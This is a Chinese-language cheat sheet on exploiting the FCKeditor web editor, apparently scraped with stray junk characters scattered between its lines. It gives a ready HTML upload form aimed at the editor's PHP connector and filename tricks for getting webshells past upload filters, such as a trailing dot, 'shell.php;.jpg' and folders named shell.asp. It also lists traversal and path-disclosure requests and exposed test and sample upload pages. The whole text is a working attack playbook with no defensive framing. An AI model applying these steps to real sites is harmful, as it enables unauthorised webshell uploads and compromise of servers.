|
Fckeditor漏洞利用总结 查看编辑器版本
4 R# c* Q7 _( T% F7 i5 NFCKeditor/_whatsnew.html
" l2 c2 z7 T: H2 K% p/ h/ {————————————————————————————————————————————————————————————— 2. Version 2.2 版本- D/ x' C- z; K6 F" T
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
+ Y- M( V8 {- D8 P$ D7 I0 K# W( T6 G————————————————————————————————————————————————————————————— 3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
! d9 \) a% `' n+ U$ F- ?6 X# |* V<form id="frmUpload" enctype="multipart/form-data"
* n. \( W' s, F" ^/ g6 paction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>* Y W7 F ]& u# U
<input type="file" name="NewFile" size="50"><br>
& g' X7 b1 m! m- d I1 D<input id="btnUpload" type="submit" value="Upload">
( `# H$ @' w, M$ R& o/ n</form>
1 U+ a. V; `$ C: B————————————————————————————————————————————————————————————— 4.FCKeditor 文件上传“.”变“_”下划线的绕过方法- s; Q, r0 {* w1 J
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。& P1 [$ W0 O; y" I
4.1:提交shell.php+空格绕过3 e5 u+ |0 d9 a9 t( w
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
# o9 R) v6 b3 }) {4 Y- e 4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
1 N* H9 o' q7 W' l8 `4 w h0 v————————————————————————————————————————————————————————————— 5. 突破建立文件夹; M# R) |, @: F" _" A0 ?; [+ N; {
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
% c) |1 F! ]9 z( E5 YFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
% s. P* a X5 V, q————————————————————————————————————————————————————————————— 6. FCKeditor 中test 文件的上传地址
( S9 R$ l* }. ? p: ~; W; ]FCKeditor/editor/filemanager/browser/default/connectors/test.html
, {- I& B. p( @4 k& M: K- @+ ?FCKeditor/editor/filemanager/upload/test.html" ?" p0 t h( P
FCKeditor/editor/filemanager/connectors/test.html% J6 {' D2 n+ U
FCKeditor/editor/filemanager/connectors/uploadtest.html
4 [0 [2 b( A% ~; j9 k—————————————————————————————————————————————————————————————
3 H2 ?4 f8 s4 P2 `% Z4 ^+ ~9 i5 l 7.常用上传地址/ A Q7 x( q1 `
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/! n" `4 e. v6 S2 L A$ C q3 S' M
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp( a p2 D9 o$ c2 p$ i3 |# H
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
" G" X6 D! B$ g! v5 Y0 a4 RJSP 版:
A6 ~, V1 {* |FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp( G! @1 J5 V- v
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
' \6 s8 [4 J" P" }7 C# Y件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。" i& [: @/ f( U$ ^2 B
————————————————————————————————————————————————————————————— 8.其他上传地址
0 i6 \$ S! k+ {FCKeditor/_samples/default.html ]1 B0 O1 O6 r% C- O6 ~
FCKeditor/_samples/asp/sample01.asp
! G2 V l! Q+ g. n% k4 o2 o* lFCKeditor/_samples/asp/sample02.asp$ U- f2 P. G6 c* ^4 n) r$ u, W$ s5 {* Q9 r
FCKeditor/_samples/asp/sample03.asp
V5 C+ n5 p6 ]FCKeditor/_samples/asp/sample04.asp9 t, l: z# a0 d6 N1 I. s# R
一般很多站点都已删除_samples 目录,可以试试。7 r: M3 `" p, s3 E' {4 t9 W
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
3 b3 {# B% S; j j" [; _————————————————————————————————————————————————————————————— 9.列目录漏洞也可助找上传地址9 k O5 G/ M* n* W+ O6 i, Y' Z
Version 2.4.1 测试通过
% p6 o4 c9 ]+ c0 J" v5 I修改CurrentFolder 参数使用 ../../来进入不同的目录
$ A( W; r1 c) w: Z: E5 C8 c/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp% v Y7 ?: [1 ]' U% Y
根据返回的XML 信息可以查看网站所有的目录。4 u7 w$ \ p' w8 a9 Y, k9 p9 n
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
& i/ H0 p0 ?+ l3 b8 v. x; I也可以直接浏览盘符:
- V/ x1 ]- B* o/ ^ TJSP 版本:* }4 @" q7 p8 r! {
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F* I, T. |( }! |# Y* E% S" ]. S* T
————————————————————————————————————————————————————————————— 10.爆路径漏洞
$ y3 [& h6 s# m0 KFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp5 U+ s' S/ y& p2 H/ P" E' _
————————————————————————————————————————————————————————————— 11. FCKeditor 被动限制策略所导致的过滤不严问题
4 q3 o6 L" x$ ? g+ G4 H 影响版本: FCKeditor x.x <= FCKeditor v2.4.3
) k! W$ [. r0 S) g4 a脆弱描述:
/ B9 g3 d! R" |/ D: i3 GFCKeditor v2.4.3 中File 类别默认拒绝上传类型:
4 E: [* L; K8 _html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm% ~: D, e4 [, {
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!# L2 b/ R' ]" O$ o- z
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。& z9 w: t+ m0 b( r, z/ Q& }9 s
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg! |